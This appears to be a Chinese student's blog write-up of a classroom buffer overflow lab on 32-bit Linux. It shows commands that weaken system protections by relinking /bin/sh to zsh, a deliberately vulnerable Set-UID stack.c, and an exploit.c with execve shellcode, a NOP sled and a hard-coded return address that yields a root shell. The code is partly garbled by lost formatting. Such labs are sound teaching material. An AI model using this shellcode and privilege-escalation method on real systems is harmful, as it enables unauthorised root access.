zoukankan      html  css  js  c++  java
  • 20165303缓冲区溢出漏洞实验 博客

    • 输入命令安装一些用于编译 32 位 C 程序的软件包

    $ sudo apt-get update

    $ sudo apt-get install -y lib32z1 libc6-dev-i386

    $ sudo apt-get install -y lib32readline-gplv2-dev


    • Ubuntu 和其他一些 Linux 系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中,我们使用以下命令关闭这一功能:

    • 此外,为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击,许多shell程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个 Set-UID 程序调用一个 shell,也不能在这个 shell 中保持 root 权限,这个防护措施在 /bin/bash 中实现。

    linux 系统中,/bin/sh 实际是指向 /bin/bash 或 /bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个 shell 程序(zsh)代替 /bin/bash。下面的指令描述了如何设置 zsh 程序:

    $ sudo su

    $ cd /bin

    $ rm sh

    $ ln -s zsh sh

    $ exit

    • 输入命令“linux32”进入32位linux环境。此时你会发现,命令行用起来没那么爽了,比如不能tab补全了,输入“/bin/bash”使用bash:

    • 在 /tmp 目录下新建一个 stack.c 文件:

    $ cd /tmp
    $ vi stack.c
    按 i 键切换到插入模式,再输入如下内容:

    /* stack.c */

    /* This program has a buffer overflow vulnerability. /
    /
    Our task is to exploit this vulnerability */

    include <stdlib.h>

    include <stdio.h>

    include <string.h>

    int bof(char *str)
    {
    char buffer[12];

    /* The following statement has a buffer overflow problem */ 
    strcpy(buffer, str);
    
    return 1;
    

    }

    int main(int argc, char **argv)
    {
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    
    printf("Returned Properly
    ");
    return 1;
    

    }

    通过代码可以知道,程序会读取一个名为“badfile”的文件,并将文件内容装入“buffer”。

    编译该程序,并设置 SET-UID。命令如下:

    $ sudo su

    $ gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c

    $ chmod u+s stack

    $ exit

    • 我们的目的是攻击刚才的漏洞程序,并通过攻击获得 root 权限。

    在 /tmp 目录下新建一个 exploit.c 文件,输入如下内容:

    /* exploit.c /
    /
    A program that creates a file containing code for launching shell*/

    include <stdlib.h>

    include <stdio.h>

    include <string.h>

    char shellcode[] =
    "x31xc0" //xorl %eax,%eax
    "x50" //pushl %eax
    "x68""//sh" //pushl $0x68732f2f
    "x68""/bin" //pushl $0x6e69622f
    "x89xe3" //movl %esp,%ebx
    "x50" //pushl %eax
    "x53" //pushl %ebx
    "x89xe1" //movl %esp,%ecx
    "x99" //cdq
    "xb0x0b" //movb $0x0b,%al
    "xcdx80" //int $0x80
    ;

    void main(int argc, char **argv)
    {
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);
    
    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
    strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer,偏移量设为了 100
    
    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
    

    }
    由于实验环境无法粘贴文件,我们提供代码下载,大家可以先运行查看效果:

    wget http://labfile.oss.aliyuncs.com/courses/231/exploit.c
    注意上面的代码,x??x??x??x?? 处需要添上 shellcode 保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode); 这一句又告诉我们,shellcode 保存在 buffer + 100 的位置。下面我们将详细介绍如何获得我们需要添加的地址。

    现在我们要得到 shellcode 在内存中的地址,输入命令:

    gdb 调试

    $ gdb stack

    $ disass main

    • 现在修改exploit.c文件!将 x??x??x??x?? 修改为 x84xd4xffxff

    然后,编译 exploit.c 程序:

    $ gcc -m32 -o exploit exploit.c

    • 先运行攻击程序 exploit,再运行漏洞程序 stack,观察结果:

    whoami 是输入的命令,不是输出结果。

    可见,通过攻击,获得了root 权限!

  • 相关阅读:
    shell进行mysql统计
    java I/O总结
    Hbase源码分析:Hbase UI中Requests Per Second的具体含义
    ASP.NET Session State Overview
    What is an ISAPI Extension?
    innerxml and outerxml
    postman
    FileZilla文件下载的目录
    how to use webpart container in kentico
    Consider using EXISTS instead of IN
  • 原文地址:https://www.cnblogs.com/Vventador/p/9785848.html
Copyright © 2011-2022 走看看